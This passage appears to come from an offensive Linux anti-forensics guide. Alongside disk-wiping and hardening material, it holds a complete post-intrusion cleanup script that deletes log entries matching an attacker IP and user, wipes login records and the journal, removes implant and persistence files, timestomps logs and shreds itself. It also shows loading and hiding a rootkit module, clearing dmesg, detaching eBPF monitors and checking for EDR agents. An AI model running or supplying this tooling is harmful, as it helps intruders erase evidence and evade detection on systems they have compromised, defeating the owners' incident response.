# AMD Secure Memory Encryption: encrypts all RAM with AES-128
# Transparent to software, enabled via BIOS + kernel param:
# mem_encrypt=on (add to GRUB_CMDLINE_LINUX)
# SEV-SNP adds integrity protection (VM isolation)
cat /proc/cpuinfo | grep -i sme # check support
dmesg | grep -i "Memory Encryption" # verify active
# --- Intel TME/MKTME ---
# Intel Total Memory Encryption: AES-XTS-128 on all RAM
# Enabled in BIOS, transparent to OS
# MKTME (Multi-Key) allows per-VM keys
dmesg | grep -i "x86/tme" # check if active
# Check current memory encryption status
cat /sys/kernel/mm/transparent_hugepage/enabled
dmesg | grep -iE "sme|sev|tme|memory.encrypt"
| Filesystem Feature | Forensic Impact | OPSEC Action |
|---|---|---|
| ext4 journal | Records metadata changes (inode times, sizes) even after deletion | Mount with noatime,nodiratime ; consider data=writeback (less journal data) |
| BTRFS snapshots | Automatic snapshots preserve deleted file states | Disable snapshots or btrfs subvolume delete after ops |
| ZFS snapshots | Same as BTRFS | zfs destroy pool@snapshot |
| tmpfs (/tmp, /dev/shm) | RAM-backed, gone on reboot | Use tmpfs for all temporary work |
| .Trash-1000 | Deleted files moved to trash, not erased | rm directly, never use GUI delete ; empty trash: rm -rf ~/.local/share/Trash/* |
| recently-used.xbel | GNOME/GTK tracks every opened file | rm ~/.local/share/recently-used.xbel; ln -s /dev/null ~/.local/share/recently-used.xbel |
| Thumbnails cache | Image previews persist after file deletion | rm -rf ~/.cache/thumbnails/*; ln -s /dev/null ~/.cache/thumbnails |
| Tracker / Baloo indexers | File content indexing (GNOME Tracker, KDE Baloo) | tracker3 reset --filesystem; systemctl --user mask tracker-* or balooctl disable |
| Browser profiles | Browsing history, cookies, cache, form data | Use firejail --private for browser, or Tor Browser, or BleachBit post-op |
| Docker overlay2 | Container layers persist deleted data between layers | docker system prune -af --volumes ; use --rm flag on all containers |
| libvirt/QEMU | VM memory dumps, snapshots, logs in /var/log/libvirt/ |
virsh snapshot-delete; shred .qcow2 backing files; clean /var/log/libvirt/qemu/ |
# One-shot desktop artifact cleanup
rm -rf ~/.local/share/recently-used.xbel \
~/.cache/thumbnails/* \
~/.local/share/Trash/* \
~/.cache/tracker3/* \
~/.local/share/tracker/
# Redirect to /dev/null to prevent re-creation
ln -sf /dev/null ~/.local/share/recently-used.xbel
# BleachBit covers all of the above plus browser data
bleachbit --clean system.cache system.trash system.recent_documents \
firefox.cache firefox.cookies firefox.history
| Method | HDD | SSD | Notes |
|---|---|---|---|
| shred -zu | Effective | Unreliable | SSD wear leveling maps sectors elsewhere |
| wipe | Effective | Unreliable | Same issue as shred on SSD |
| srm | Effective | Unreliable | secure-delete package |
| rm + fstrim | N/A | Good | TRIM tells SSD to erase blocks |
| Full disk encryption + key destroy | Effective | Effective | Best method for both HDD and SSD |
| dd if=/dev/urandom | Effective (full disk) | Unreliable (file-level) | Works for full disk wipe only |
| blkdiscard | N/A | Effective | Issues TRIM on entire block device |
| ATA Secure Erase | Effective | Effective | Firmware-level, most thorough for SSD |
SSDs require different secure deletion approaches due to their architecture.
# SSD secure erase (ATA Secure Erase)
# WARNING: destroys ALL data on the drive
hdparm -I /dev/sda | grep -i "security"
# Set a temporary password
hdparm --user-master u --security-set-pass p /dev/sda
# Issue secure erase
hdparm --user-master u --security-erase p /dev/sda
# Enhanced secure erase (also erases reallocated sectors)
hdparm --user-master u --security-erase-enhanced p /dev/sda
# NVMe secure erase
nvme format /dev/nvme0n1 --ses=1 # user data erase
nvme format /dev/nvme0n1 --ses=2 # cryptographic erase
# blkdiscard (TRIM entire device)
blkdiscard /dev/sda
# Or specific range
blkdiscard -o 0 -l 1G /dev/sda
# File-level TRIM after deletion
rm sensitive_file
fstrim -v /path/to/mountpoint
# Verify TRIM support
lsblk -D # DISC-GRAN and DISC-MAX should be non-zero
cat /sys/block/sda/queue/discard_max_bytes # non-zero = TRIM supported
RAM can retain data after power-off (cold boot attack). Clear it during shutdown to prevent extraction.
# Method 1: systemd service to clear RAM on shutdown
cat > /etc/systemd/system/memory-wipe.service << 'EOF'
[Unit]
Description=Wipe memory on shutdown
DefaultDependencies=no
Before=shutdown.target reboot.target halt.target
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'echo 3 > /proc/sys/vm/drop_caches; swapoff -a; swapon -a'
[Install]
WantedBy=halt.target reboot.target shutdown.target
EOF
systemctl enable memory-wipe.service
# Method 2: sdmem (secure-delete package)
# Overwrites free memory with random data
sdmem -v
# Method 3: kernel parameter
# Add to GRUB_CMDLINE_LINUX in /etc/default/grub:
# page_poison=1 slub_debug=P init_on_alloc=1 init_on_free=1
# init_on_alloc: zero-fill pages on allocation
# init_on_free: zero-fill pages on free
# Then: update-grub
# Method 4: LUKS with volatile key
# If using encrypted swap with random key (/dev/urandom),
# swap contents are unrecoverable after reboot
# Verify kernel memory clearing options
cat /proc/cmdline | grep -oE "(page_poison|slub_debug|init_on_alloc|init_on_free)=[^ ]+"
Hibernate writes RAM to disk (swap), creating a forensic goldmine. Either disable it or ensure swap is encrypted.
# Disable hibernate entirely
systemctl mask hibernate.target
systemctl mask hybrid-sleep.target
systemctl mask suspend-then-hibernate.target
# Verify
systemctl status hibernate.target
# If hibernate is needed, ensure encrypted swap
# The swap partition MUST be inside LUKS
# Check: lsblk shows swap on /dev/mapper/cryptswap or similar
# Prevent suspend/hibernate via logind
cat > /etc/systemd/logind.conf.d/no-hibernate.conf << 'EOF'
[Login]
HandleLidSwitch=lock
HandleLidSwitchExternalPower=lock
HandleSuspendKey=ignore
HandleHibernateKey=ignore
IdleAction=lock
EOF
systemctl restart systemd-logind
Loading kernel modules leaves traces in dmesg, syslog, and the module list. If you load a rootkit or custom module, these artifacts must be addressed.
# List loaded modules
lsmod
cat /proc/modules
# Check dmesg for module load events
dmesg | grep -i "module\|loaded\|insmod"
# Load a module (leaves traces)
insmod rootkit.ko
# Or
modprobe rootkit
# After loading, hide from lsmod
# The module itself must implement list_del to remove
# itself from the kernel module list
# Check for module signature enforcement
cat /proc/sys/kernel/modules_disabled
# 1 = no new modules can be loaded
# 0 = modules can be loaded
# Check if module signing is required
grep CONFIG_MODULE_SIG_FORCE /boot/config-$(uname -r)
# If enforced, only signed modules can be loaded
# Clear dmesg (removes kernel ring buffer)
dmesg -C
# Or
echo "" > /dev/kmsg # requires root
# Check kernel taint flags
cat /proc/sys/kernel/tainted
# 0 = clean, non-zero = tainted (module loaded, etc.)
eBPF programs are increasingly used for both offensive (rootkits) and defensive (monitoring) purposes. Check for active eBPF programs before operating.
# List loaded eBPF programs
bpftool prog list 2>/dev/null
bpftool prog show
# List eBPF maps
bpftool map list
# Check for eBPF-based security tools
# Falco, Tracee, Tetragon, bpftrace
ps aux | grep -iE "falco|tracee|tetragon|bpftrace"
# Check if BPF LSM is active
cat /sys/kernel/security/lsm
# If "bpf" is in the list, eBPF LSM hooks are active
# Check for tracepoints being monitored
cat /sys/kernel/debug/tracing/enabled_functions 2>/dev/null
cat /sys/kernel/debug/tracing/kprobe_events 2>/dev/null
# Detach eBPF programs (requires root + CAP_BPF)
bpftool prog detach id <prog_id> <attach_point>
| Tool | Purpose | Install |
|---|---|---|
| BleachBit | System cleaner (cache, logs, temp, browser data) | apt install bleachbit |
| secure-delete | shred/srm/sfill/sdmem/sswap suite | apt install secure-delete |
| hidemylogs | Surgical utmp/wtmp/btmp/lastlog wiping + forging (Rust, static binary, preserves timestamps) | |
| LastLog-Audit | Forensic cross-correlation of lastlog/wtmp/auth.log - detects tampered records (Python) | |
| wipe | Secure file deletion | apt install wipe |
| nwipe | Full disk wipe (NIST 800-88 compliant) | apt install nwipe |
| mat2 | Metadata removal from files (images, PDFs, etc.) | apt install mat2 |
| exiftool | Metadata viewing and removal | apt install libimage-exiftool-perl |
| Tool | Purpose | Install |
|---|---|---|
| VeraCrypt | Hidden volume + cascade encryption (AES-Twofish-Serpent), plausible deniability | veracrypt.fr |
| ZuluCrypt | GUI + CLI frontend for LUKS, VeraCrypt, TrueCrypt, PLAIN dm-crypt | apt install zulucrypt-gui |
| ZuluMount | Auto-mount daemon companion for ZuluCrypt | apt install zuluMount-gui |
| cryptsetup | LUKS2 + Argon2id, detached headers, nuke (with kali package) | Built into most distros |
| age / rage | Modern file encryption (replacement for GPG for files) | apt install age or Rust rage |
| tomb | LUKS wrapper with steganography (hide volumes inside media files) | dyne.org/software/tomb |
| Tool | Purpose | Install |
|---|---|---|
| Firejail | SUID sandbox for desktop apps | apt install firejail |
| Bubblewrap | Unprivileged namespace sandbox | apt install bubblewrap |
| systemd-nspawn | Lightweight container for testing | Built into systemd |
| unshare | Create isolated namespaces | Built into util-linux |
# Firejail - sandbox a browser
firejail --private --dns=9.9.9.9 firefox
# Firejail - sandbox with network namespace
firejail --net=none ./suspicious_binary
# Firejail - sandbox with minimal filesystem
firejail --private --private-tmp --private-dev \
--whitelist=/tmp/workdir ./tool
# Bubblewrap - minimal sandbox
bwrap --ro-bind / / --dev /dev --proc /proc \
--tmpfs /tmp --tmpfs /home \
--unshare-all --die-with-parent \
./binary
# unshare - create network namespace (no network)
unshare --net --map-root-user /bin/bash
# Process inside has no network access
# systemd-nspawn - quick container
systemd-nspawn -D /path/to/rootfs --private-network
| Tool | Purpose | Install |
|---|---|---|
| Lynis | System auditing and hardening scanner | apt install lynis |
| LKRG | Linux Kernel Runtime Guard (anti-rootkit) | lkrg.org |
| chkrootkit | Rootkit detection scanner | apt install chkrootkit |
| rkhunter | Rootkit hunter | apt install rkhunter |
| aide | File integrity monitoring | apt install aide |
| tripwire | File integrity monitoring | apt install tripwire |
| pspy | Unprivileged process snooping | github.com/DominicBreuker/pspy |
# Lynis - full system audit
lynis audit system
# chkrootkit scan
chkrootkit
# rkhunter scan
rkhunter --check --skip-keypress
# aide - initialize and check
aide --init
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check
A comprehensive cleanup script for post-operation use. Set ATTACKER_IP and ATTACKER_USER before running. Must be run as root for full effectiveness. The script removes itself via shred after execution.
#!/bin/sh
# =============================================
# Linux OPSEC Cleanup Script
# Run as root. Set variables below before use.
# =============================================
ATTACKER_IP="10.10.10.1"
ATTACKER_USER="compromised_user"
echo "[*] Starting cleanup..."
# ------------------------------------------
# 1. Shell histories - shred all history files
# ------------------------------------------
unset HISTFILE
export HISTSIZE=0
for dir in /home/* /root; do
for hist in .bash_history .zsh_history .sh_history .python_history \
.mysql_history .psql_history .node_repl_history \
.lesshst .viminfo .wget-hsts; do
[ -f "$dir/$hist" ] && shred -zu "$dir/$hist" 2>/dev/null
done
done
echo "[+] Shell histories cleaned"
# ------------------------------------------
# 2. Auth and syslog - remove matching entries
# ------------------------------------------
for log in /var/log/auth.log /var/log/auth.log.1 \
/var/log/secure /var/log/secure.1 \
/var/log/syslog /var/log/syslog.1 \
/var/log/messages /var/log/messages.1 \
/var/log/daemon.log /var/log/cron; do
if [ -f "$log" ]; then
sed -i "/$ATTACKER_IP/d" "$log" 2>/dev/null
sed -i "/$ATTACKER_USER/d" "$log" 2>/dev/null
fi
done
# Handle gzipped rotated logs
for gz in /var/log/auth.log.*.gz /var/log/secure.*.gz /var/log/syslog.*.gz; do
if [ -f "$gz" ]; then
TMP="/tmp/.$(basename $gz .gz)"
zcat "$gz" | grep -v "$ATTACKER_IP" | grep -v "$ATTACKER_USER" | gzip > "$TMP.gz"
mv "$TMP.gz" "$gz"
fi
done
echo "[+] Text logs cleaned"
# ------------------------------------------
# 3. wtmp/utmp/btmp/lastlog - prefer hidemylogs, fallback to utmpdump
# ------------------------------------------
if command -v hidemylogs >/dev/null 2>&1; then
hidemylogs -q wipe --ip "$ATTACKER_IP" 2>/dev/null
hidemylogs -q wipe --user "$ATTACKER_USER" 2>/dev/null
echo "[+] Login records cleaned via hidemylogs (timestamps preserved)"
elif command -v utmpdump >/dev/null 2>&1; then
for wtfile in /var/log/wtmp /var/log/btmp; do
if [ -f "$wtfile" ] && [ -s "$wtfile" ]; then
utmpdump "$wtfile" 2>/dev/null | grep -v "$ATTACKER_IP" | grep -v "$ATTACKER_USER" > /tmp/.wt_clean
utmpdump -r /tmp/.wt_clean > "$wtfile" 2>/dev/null
rm -f /tmp/.wt_clean
fi
done
if [ -f /var/run/utmp ] && [ -s /var/run/utmp ]; then
utmpdump /var/run/utmp 2>/dev/null | grep -v "$ATTACKER_IP" | grep -v "$ATTACKER_USER" > /tmp/.ut_clean
utmpdump -r /tmp/.ut_clean > /var/run/utmp 2>/dev/null
rm -f /tmp/.ut_clean
fi
echo "[+] utmp/wtmp/btmp cleaned via utmpdump"
else
echo "[-] Neither hidemylogs nor utmpdump found, truncating wtmp/btmp"
> /var/log/wtmp
> /var/log/btmp
fi
# ------------------------------------------
# 4. lastlog - zero out target user entry
# ------------------------------------------
if id "$ATTACKER_USER" >/dev/null 2>&1; then
UID_NUM=$(id -u "$ATTACKER_USER")
dd if=/dev/zero of=/var/log/lastlog bs=292 count=1 seek=$UID_NUM conv=notrunc 2>/dev/null
echo "[+] lastlog entry cleared for $ATTACKER_USER (UID $UID_NUM)"
fi
# ------------------------------------------
# 5. systemd journal
# ------------------------------------------
if command -v journalctl >/dev/null 2>&1; then
journalctl --rotate 2>/dev/null
journalctl --vacuum-time=1s 2>/dev/null
echo "[+] Journal vacuumed"
fi
# ------------------------------------------
# 6. Audit logs
# ------------------------------------------
if [ -f /var/log/audit/audit.log ]; then
sed -i "/$ATTACKER_IP/d" /var/log/audit/audit.log 2>/dev/null
sed -i "/$ATTACKER_USER/d" /var/log/audit/audit.log 2>/dev/null
for af in /var/log/audit/audit.log.*; do
[ -f "$af" ] && sed -i "/$ATTACKER_IP/d" "$af" 2>/dev/null
done
echo "[+] Audit logs cleaned"
fi
# ------------------------------------------
# 7. Temp files, containers, and artifacts
# ------------------------------------------
rm -rf /tmp/.*implant* /tmp/.*payload* /tmp/.*tunnel* /dev/shm/.* 2>/dev/null
rm -rf /var/tmp/.*implant* /var/tmp/.*cache* 2>/dev/null
# Docker/container cleanup (if present)
command -v docker >/dev/null 2>&1 && {
docker rm -f $(docker ps -aq) 2>/dev/null
docker system prune -af --volumes 2>/dev/null
rm -rf /var/lib/docker/containers/*/json.log 2>/dev/null
}
# Podman cleanup
command -v podman >/dev/null 2>&1 && {
podman rm -af 2>/dev/null
podman system prune -af --volumes 2>/dev/null
}
echo "[+] Temp and container artifacts removed"
# ------------------------------------------
# 8. SSH artifacts
# ------------------------------------------
for dir in /home/* /root; do
[ -f "$dir/.ssh/known_hosts" ] && sed -i "/$ATTACKER_IP/d" "$dir/.ssh/known_hosts" 2>/dev/null
[ -f "$dir/.ssh/authorized_keys" ] && sed -i "/$ATTACKER_USER/d" "$dir/.ssh/authorized_keys" 2>/dev/null
done
echo "[+] SSH artifacts cleaned"
# ------------------------------------------
# 9. Conntrack and ARP
# ------------------------------------------
conntrack -F 2>/dev/null
ip neigh flush all 2>/dev/null
echo "[+] Network state flushed"
# ------------------------------------------
# 10. DNS cache
# ------------------------------------------
resolvectl flush-caches 2>/dev/null
nscd -i hosts 2>/dev/null
echo "[+] DNS cache flushed"
# ------------------------------------------
# 11. dmesg
# ------------------------------------------
dmesg -C 2>/dev/null
echo "[+] Kernel ring buffer cleared"
# ------------------------------------------
# 12. Browser, desktop, and indexer artifacts
# ------------------------------------------
for dir in /home/* /root; do
rm -rf "$dir/.cache/thumbnails" 2>/dev/null
rm -f "$dir/.local/share/recently-used.xbel" 2>/dev/null
rm -f "$dir/.recently-used.xbel" 2>/dev/null
rm -rf "$dir/.local/share/Trash/*" 2>/dev/null
rm -rf "$dir/.cache/tracker3" "$dir/.local/share/tracker" 2>/dev/null
# Prevent re-creation
ln -sf /dev/null "$dir/.local/share/recently-used.xbel" 2>/dev/null
done
# Kill desktop indexers
systemctl --user stop tracker-miner-fs-3 tracker-miner-fs 2>/dev/null
tracker3 reset --filesystem 2>/dev/null
echo "[+] Desktop and indexer artifacts cleaned"
# ------------------------------------------
# 13. Crontab and systemd timers
# ------------------------------------------
crontab -r -u "$ATTACKER_USER" 2>/dev/null
# Remove any persistence timers/services
for svc in /etc/systemd/system/*persist* /etc/systemd/system/*backdoor* \
/etc/cron.d/*implant* /etc/cron.daily/*payload*; do
[ -f "$svc" ] && rm -f "$svc" 2>/dev/null
done
systemctl daemon-reload 2>/dev/null
echo "[+] Scheduled tasks cleaned"
# ------------------------------------------
# 14. Timestamp normalization (timestomp)
# ------------------------------------------
# Touch critical files to match expected modification dates
# This makes forensic timeline analysis harder
touch -r /etc/passwd /var/log/auth.log 2>/dev/null
touch -r /etc/passwd /var/log/wtmp 2>/dev/null
touch -r /etc/passwd /var/log/lastlog 2>/dev/null
echo "[+] Timestamps normalized"
# ------------------------------------------
# 15. Self-destruct
# ------------------------------------------
echo "[*] Cleanup complete. Self-destructing..."
shred -zu "$0" 2>/dev/null
Apply baseline hardening to a fresh Linux install. Run as root. This is not a substitute for a full hardening audit but covers the most impactful settings quickly.
#!/bin/bash
# Quick Linux hardening - run as root
set -e
echo "[*] Applying kernel hardening..."
cat > /etc/sysctl.d/99-hardening.conf << 'EOF'
kernel.kptr_restrict=2
kernel.dmesg_restrict=1
kernel.perf_event_paranoid=3
kernel.kexec_load_disabled=1
kernel.unprivileged_bpf_disabled=1
kernel.yama.ptrace_scope=2
kernel.core_pattern=/dev/null
kernel.sysrq=0
kernel.randomize_va_space=2
fs.suid_dumpable=0
fs.protected_symlinks=1
fs.protected_hardlinks=1
fs.protected_fifos=2
fs.protected_regular=2
net.core.bpf_jit_harden=2
net.ipv4.conf.all.rp_filter=1
net.ipv4.conf.all.accept_redirects=0
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.all.accept_source_route=0
net.ipv4.conf.all.log_martians=1
net.ipv4.icmp_echo_ignore_broadcasts=1
net.ipv4.tcp_syncookies=1
net.ipv4.tcp_timestamps=0
net.ipv6.conf.all.disable_ipv6=1
net.ipv6.conf.default.disable_ipv6=1
EOF
sysctl --system
echo "[*] Disabling core dumps..."
echo "* hard core 0" >> /etc/security/limits.conf
mkdir -p /etc/systemd/coredump.conf.d/
echo -e "[Coredump]\nStorage=none\nProcessSizeMax=0" > /etc/systemd/coredump.conf.d/disable.conf
echo "[*] Setting journal to volatile..."
mkdir -p /etc/systemd/journald.conf.d/
echo -e "[Journal]\nStorage=volatile\nSystemMaxUse=50M" > /etc/systemd/journald.conf.d/volatile.conf
echo "[*] Configuring MAC randomization..."
mkdir -p /etc/NetworkManager/conf.d/
cat > /etc/NetworkManager/conf.d/mac-random.conf << 'EOF'
[device]
wifi.scan-rand-mac-address=yes
[connection]
wifi.cloned-mac-address=random
ethernet.cloned-mac-address=random
EOF
echo "[*] Hardening SSH..."
cat > /etc/ssh/sshd_config.d/hardening.conf << 'EOF'
PermitRootLogin no
PasswordAuthentication no
MaxAuthTries 3
X11Forwarding no
AllowTcpForwarding no
EOF
echo "[*] Setting umask..."
sed -i 's/^UMASK.*/UMASK 077/' /etc/login.defs 2>/dev/null
echo "[*] Disabling unused services..."
for svc in avahi-daemon cups bluetooth tracker-miner-fs-3 tracker-extract-3; do
systemctl disable --now "$svc" 2>/dev/null || true
done
echo "[*] Setting up USBGuard (if installed)..."
if command -v usbguard >/dev/null 2>&1; then
usbguard generate-policy > /etc/usbguard/rules.conf 2>/dev/null
sed -i 's/^ImplicitPolicyTarget=.*/ImplicitPolicyTarget=block/' /etc/usbguard/usbguard-daemon.conf 2>/dev/null
systemctl enable --now usbguard 2>/dev/null
echo "[+] USBGuard: blocking unauthorized USB devices"
else
echo "[-] USBGuard not installed (apt install usbguard)"
fi
echo "[*] Disabling desktop indexers (Tracker/Baloo)..."
tracker3 reset --filesystem 2>/dev/null
systemctl --user mask tracker-miner-fs-3 tracker-extract-3 2>/dev/null
# KDE Baloo
command -v balooctl >/dev/null 2>&1 && balooctl disable 2>/dev/null
echo "[*] Enabling SSD TRIM timer..."
systemctl enable --now fstrim.timer 2>/dev/null
echo "[*] Symlink history files to /dev/null..."
for f in .bash_history .zsh_history .python_history .lesshst .viminfo; do
ln -sf /dev/null "/root/$f"
for d in /home/*; do
[ -d "$d" ] && ln -sf /dev/null "$d/$f"
done
done
echo "[+] Hardening complete. Reboot recommended."
Before starting an operation, run these checks to understand the target's logging posture. The results determine what cleanup will be necessary.
# 1. What logging is active?
systemctl status auditd rsyslog syslog-ng 2>/dev/null
systemctl status systemd-journald
# 2. Are logs forwarded remotely?
grep -r "@@\|@" /etc/rsyslog.conf /etc/rsyslog.d/ 2>/dev/null
cat /etc/audisp/plugins.d/au-remote.conf 2>/dev/null
# 3. What audit rules are active?
auditctl -l 2>/dev/null
# 4. Is there an EDR/agent?
ps aux | grep -iE "falcon|crowdstrike|sentinel|carbon|ossec|wazuh|cilium|tetragon|falco"
# 5. What shell am I in?
echo $0 $SHELL
echo $HISTFILE $HISTCONTROL
# 6. Is pam_tty_audit enabled?
grep pam_tty_audit /etc/pam.d/* 2>/dev/null
# 7. Journal storage mode?
cat /etc/systemd/journald.conf | grep Storage
# 8. Filesystem type (affects timestamp behavior)
df -T / /tmp /dev/shm
# 9. Kernel hardening level?
cat /proc/sys/kernel/yama/ptrace_scope
cat /proc/sys/kernel/modules_disabled
cat /proc/sys/kernel/kptr_restrict
# 10. Security modules active?
cat /sys/kernel/security/lsm
After completing the operation, verify that cleanup was effective. Run these from a clean context (not the implant shell).
# 1. Verify login records are clean
last | grep "$ATTACKER_IP"
lastb | grep "$ATTACKER_IP" 2>/dev/null
lastlog -u "$ATTACKER_USER" 2>/dev/null
who | grep "$ATTACKER_USER"
# 2. Verify text logs are clean
grep -r "$ATTACKER_IP" /var/log/ 2>/dev/null
grep -r "$ATTACKER_USER" /var/log/ 2>/dev/null
# 3. Verify journal is clean
journalctl | grep -i "$ATTACKER_IP" 2>/dev/null
# 4. Verify no artifacts on disk
find / -name ".*implant*" -o -name ".*payload*" 2>/dev/null
find /dev/shm /tmp /var/tmp -type f 2>/dev/null
ls -la /dev/shm/
# 5. Verify no running processes
ps aux | grep -v grep | grep -iE "implant|payload|beacon"
# 6. Verify no persistence left (unless intended)
crontab -l 2>/dev/null
cat /etc/crontab | grep -v "^#"
systemctl list-timers --all
ls /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
# 7. Check for open connections back to your infra
ss -tunapo | grep "$ATTACKER_IP"
# 8. Verify no browser/desktop artifacts
find /home /root -name "recently-used.xbel" 2>/dev/null
find /home /root -path "*/thumbnails/*" -type f 2>/dev/null